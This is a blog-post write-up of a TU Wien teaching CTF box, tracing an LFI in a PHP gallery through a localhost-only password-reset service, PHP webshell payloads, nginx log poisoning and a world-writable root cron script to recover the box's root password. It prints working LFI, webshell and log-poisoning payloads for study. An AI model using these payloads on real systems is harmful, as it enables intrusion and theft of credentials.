mysite/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md

455 lines
16 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job"
date: 2026-06-05T12:00:00Z
draft: false
tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"]
categories: ["CTF", "Security"]
toc: true
summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."
---
> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.
This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.
Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:
1. Collect every `passwd_part` file sitting in user home directories.
2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`).
Simple. Boring. Except Klaus was clearly in charge of this VM.
---
## 0) The lay of the land
**Target:** `g00.tuw.measurement.network`
From the outside you mostly see three faces of the same machine:
| Host | What it is |
|------|------------|
| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** |
| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter |
| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet |
Users on the box (from `/etc/passwd` via LFI): `user1``user4`, `monitoring`, `www-data`, `root`.
SSH from outside? Public key only. Password auth is a lie (for us, anyway).
---
## 1) Recon — documentation.md saves the day
First stop: the main site.
```bash
curl -s https://g00.tuw.measurement.network/documentation.md
```
That file is basically a treasure map. It mentions two services:
- **web** → `web.g00.tuw.measurement.network`
- **pwreset** → `pwreset.g00.tuw.measurement.network`
I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.
Subdomains resolve. Good. Let's go web.
---
## 2) LFI — `include($_GET['page'])` classic
The web vhost is a frameset. Content loads in a frame via `?page=`:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
```
And there it is — root, users, the whole `/etc/passwd` parade inside the frame.
Source via PHP filter works too:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
| sed -n 's/.*frame name="in">//p' | base64 -d
```
`index.php` is roughly:
```php
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
```
Klaus, my man. We love you.
**First instinct:** read all the `passwd_part` files immediately.
```bash
# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied
```
Same for `user2``user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.
---
## 3) pwreset — localhost-only, but LFI doesn't care about nginx
Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:
```nginx
allow 127.0.0.1;
deny all;
```
So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request.
pwreset source (paraphrased):
```php
$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";
```
It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).
**Trigger it through LFI:**
```text
https://web.g00.tuw.measurement.network/
?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
&user=user1
&pass=MyTestPass1!
```
I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it.
---
## 4) RCE — PHP in `userchange`, included like a boss
At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP?
So I wrote a tiny shell into the `user` field via pwreset:
```php
<?=`id`?>
```
Then included `/var/www/userchange` through the LFI:
```text
?page=/var/www/userchange
```
**Output:** `uid=33(www-data) gid=33(www-data) ...`
Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.
From here on, my mental model was:
1. **pwreset** → write arbitrary-ish content to `/var/www/userchange`
2. **LFI include `userchange`** → execute PHP as `www-data`
That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.
---
## 5) Rabbit holes (aka "everything I tried before it worked")
This box is a *presentation* CTF. It wants you to wander. I wandered. Hard.
### nginx log poisoning
The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up.
Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late.
### `data://`, `php://input`, `expect://`
```bash
?page=data://text/plain,<?php system($_GET[cmd]); ?>
?page=php://input # with POST body
?page=expect://id
```
Nope. `allow_url_include = Off`. Klaus isn't *that* careless.
### vim `.swp` files
`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.
Empty memes page. No execution. Nice red herring — very on-theme for the talk.
### Munin / `apt_all` plugin
The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:
- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist**
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset
**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.
### pwreset log archaeology
Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:
- Saw historical resets like `user3``foobar23`
- Tried `foobar23` over SSH for every user
**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.
### Shell script injection into `userchange`
I tried newline injection to turn `userchange` into a bash script:
```text
user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...
```
Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path.
### Brute-forcing the `userchange` consumer
I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.
Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)
### Direct SSH password guessing
Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.
From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside.
---
## 6) Privesc — world-writable cron script (peak Klaus)
With RCE as `www-data`, I looked for writable files:
```bash
find / -writable -type f 2>/dev/null | head
```
Jackpot:
```text
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
```
Original script (innocent):
```bash
#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
```
It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss.
I appended:
```bash
cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
```
Then either waited for cron or executed the script manually via RCE:
```php
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
```
**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud.
---
## 7) SSH as `www-data` — because keys in the webroot are a mood
The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.
```bash
# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
www-data@g00.tuw.measurement.network
```
Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.
---
## 8) The password parts
| Source | File | Part |
|--------|------|------|
| user1 | `p1` | `DcC6Da0A27384fA` |
| user2 | `p2` | `9Ce05B3cAd57824` |
| user3 | `p3` | `3aD80fa1b7AE986` |
| user4 | `p4` | `CDefabffab1FCCf` |
| www-data | `passwd_part` | `44D885d6DAb8Bb9` |
| root | `rootpass` | `ghadnuthduxeec7` |
**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.
**Combined root password (95 characters):**
```text
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
```
Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.
I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.
Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.
---
## 9) Attack chain (one screen)
```text
documentation.md
→ web vhost LFI (include $_GET['page'])
→ include pwreset index.php (localhost bypass)
→ write PHP to /var/www/userchange
→ LFI include userchange
→ RCE as www-data
→ append to world-writable cron_update_hostname_file.sh
→ cron runs as root → copies passwd parts to webroot
→ read parts / SSH as www-data
→ profit
```
Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.
---
## 10) Replay script
I left a minimal Python replay in the challenge repo:
```bash
python3 solve.py
```
Core logic:
```python
def pwreset(user, passwd=""):
# LFI-include pwreset index.php with user/pass params
def rce(cmd):
pwreset(f"<?=`{cmd}`?>", "")
return lfi_include("/var/www/userchange")
```
It prints `id`, the modified cron script, each part file, and the combined password.
---
## 11) Bonus: the intended log poisoning path
After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂
So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass.
### The hint is in `index.php`, not `documentation.md`
`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):
```html
<!-- remember for debugging:
/var/log/nginx/$vhost.access.log
/var/log/nginx/$vhost.error.log
/var/log/nginx/ssl-$vhost.access.log
/var/log/nginx/ssl-$vhost.error.log
-->
```
Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log.
### Intended technique
1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log:
```text
/var/log/nginx/web.g00.tuw.measurement.network.access.log
```
2. Put PHP in the `User-Agent` (or another logged field):
```text
<?php passthru($_GET['cmd']); ?>
```
Short tags like `` <?=`id`?> `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.
3. **Include that log** through the same LFI bug:
```text
https://web.g00.tuw.measurement.network/
?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
&cmd=id
```
On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required.
### How I griefed myself
| What I did | Why it hurt |
|------------|-------------|
| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing |
| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail |
| Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the **first** bad tag before reaching a clean line |
| Didn't read `index.php` source early | Missed the debug comment until I'd already polluted both logs |
Tobias's take: that's a feature. The box teaches you that **ops mistakes compound** — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.
### If you're solving it now
- Read `index.php` source first.
- Poison on **HTTP**: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
- Include the **non-ssl** access log path from the comment.
- Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.
I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.
---
## 12) TL;DR
- **Read** `documentation.md` — it tells you where the services live.
- **Read** `index.php` source — the debug comment gives you the log paths.
- **Intended RCE** = HTTP log poisoning → LFI include the non-ssl access log.
- **What I did** = pwreset → `userchange` → cron (also works, not the intended first step).
- **Privesc** = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
- **Griefing** = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
- **Flag** = concatenate all `passwd_part` slices + `/root/passwd` suffix.
If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.
Happy hacking. 🔓
---
*Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.*
---
{{< sigdl >}}